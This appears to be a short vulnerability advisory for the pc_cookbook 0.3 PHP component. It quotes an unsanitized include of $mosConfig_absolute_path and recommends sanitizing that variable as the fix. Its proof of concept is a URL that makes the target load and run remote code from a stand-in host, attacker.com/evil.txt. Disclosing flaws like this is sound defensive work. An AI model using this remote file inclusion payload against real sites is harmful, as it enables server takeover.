Application     : pc_cookbook Component
version         : 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog

~~~~~~~~~~~~~~~

in folder com_pccookbook we found vulnerability script pccookbook.php.

-----------------------pccookbook.php----------------------
....

* @version koyans 0.3
* @link http://www.dianthos.net & http://www.fisheye.gr/koyansblog
**/
global $mosConfig_absolute_path;
global $mosConfig_live_site;

 // include language file, or default to english
 if (file_exists ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php')) {
            include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php');
 } else {
            include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/english.php');
 } // end if
        ?>
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in pccookbook.php
